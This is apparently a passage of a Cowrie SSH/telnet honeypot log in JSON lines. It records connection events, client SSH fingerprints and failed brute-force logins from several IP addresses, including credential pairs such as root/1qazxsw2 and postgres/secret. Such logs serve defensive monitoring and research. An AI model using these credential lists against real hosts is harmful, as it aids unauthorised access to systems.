{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:37.051572Z","src_ip":"176.65.132.129","session":"c0e18b353914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:37.300372Z","src_ip":"176.65.132.129","session":"c0e18b353914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:38.383740Z","src_ip":"176.65.132.129","session":"c0e18b353914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42648,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e296a7afe3","protocol":"ssh","message":"New connection: 176.65.132.129:42648 (10.17.0.5:22) [session: 22e296a7afe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:40.445672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:40.542202Z","src_ip":"176.65.132.129","session":"22e296a7afe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:40.548246Z","src_ip":"176.65.132.129","session":"22e296a7afe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:40.867929Z","src_ip":"176.65.132.129","session":"22e296a7afe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":47482,"dst_ip":"159.203.135.109","dst_port":23,"session":"c900bb77f73b","protocol":"telnet","message":"New connection: 64.227.82.147:47482 (159.203.135.109:23) [session: c900bb77f73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:41.867114Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:41.950116Z","src_ip":"176.65.132.129","session":"22e296a7afe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42672,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d23568958b7","protocol":"ssh","message":"New connection: 176.65.132.129:42672 (10.17.0.5:22) [session: 9d23568958b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:43.884415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:43.889099Z","src_ip":"176.65.132.129","session":"9d23568958b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:43.973233Z","src_ip":"176.65.132.129","session":"9d23568958b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:44.221276Z","src_ip":"176.65.132.129","session":"9d23568958b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.10368347167969,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:44.351372Z","src_ip":"38.60.198.128","session":"76b51e092ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:45.310347Z","src_ip":"176.65.132.129","session":"9d23568958b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57996,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b85bc2a4478","protocol":"telnet","message":"New connection: 38.60.198.128:57996 (159.203.135.109:23) [session: 2b85bc2a4478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:45.469543Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33934,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b670dc7980","protocol":"ssh","message":"New connection: 176.65.132.129:33934 (10.17.0.5:22) [session: 15b670dc7980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:47.284118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:47.287466Z","src_ip":"176.65.132.129","session":"15b670dc7980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:47.369494Z","src_ip":"176.65.132.129","session":"15b670dc7980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:47.614503Z","src_ip":"176.65.132.129","session":"15b670dc7980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:48.698641Z","src_ip":"176.65.132.129","session":"15b670dc7980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.95746898651123,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:49.109423Z","src_ip":"38.60.198.128","session":"217de4de128b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33950,"dst_ip":"10.17.0.5","dst_port":22,"session":"33e439ea4514","protocol":"ssh","message":"New connection: 176.65.132.129:33950 (10.17.0.5:22) [session: 33e439ea4514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:50.863724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:50.870905Z","src_ip":"176.65.132.129","session":"33e439ea4514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:50.958129Z","src_ip":"176.65.132.129","session":"33e439ea4514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:51.203386Z","src_ip":"176.65.132.129","session":"33e439ea4514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:52.287900Z","src_ip":"176.65.132.129","session":"33e439ea4514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":51520,"dst_ip":"10.17.0.5","dst_port":22,"session":"be371affa9b8","protocol":"ssh","message":"New connection: 95.215.8.165:51520 (10.17.0.5:22) [session: be371affa9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:53.727751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:53.732445Z","src_ip":"95.215.8.165","session":"be371affa9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:53.819871Z","src_ip":"95.215.8.165","session":"be371affa9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":33782,"dst_ip":"10.17.0.5","dst_port":22,"session":"f96db87e8713","protocol":"ssh","message":"New connection: 167.172.73.9:33782 (10.17.0.5:22) [session: f96db87e8713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.102658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.107779Z","src_ip":"167.172.73.9","session":"f96db87e8713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6258589ba5cf","protocol":"ssh","message":"New connection: 176.65.132.129:33956 (10.17.0.5:22) [session: 6258589ba5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.173582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.180707Z","src_ip":"176.65.132.129","session":"6258589ba5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"secret","message":"login attempt [postgres/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.211446Z","src_ip":"95.215.8.165","session":"be371affa9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.261815Z","src_ip":"176.65.132.129","session":"6258589ba5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.366549Z","src_ip":"167.172.73.9","session":"f96db87e8713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":51582,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d167e3048d8","protocol":"ssh","message":"New connection: 57.128.222.14:51582 (159.203.135.109:22) [session: 3d167e3048d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.503123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.508178Z","src_ip":"57.128.222.14","session":"3d167e3048d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:54.513334Z","src_ip":"176.65.132.129","session":"6258589ba5cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 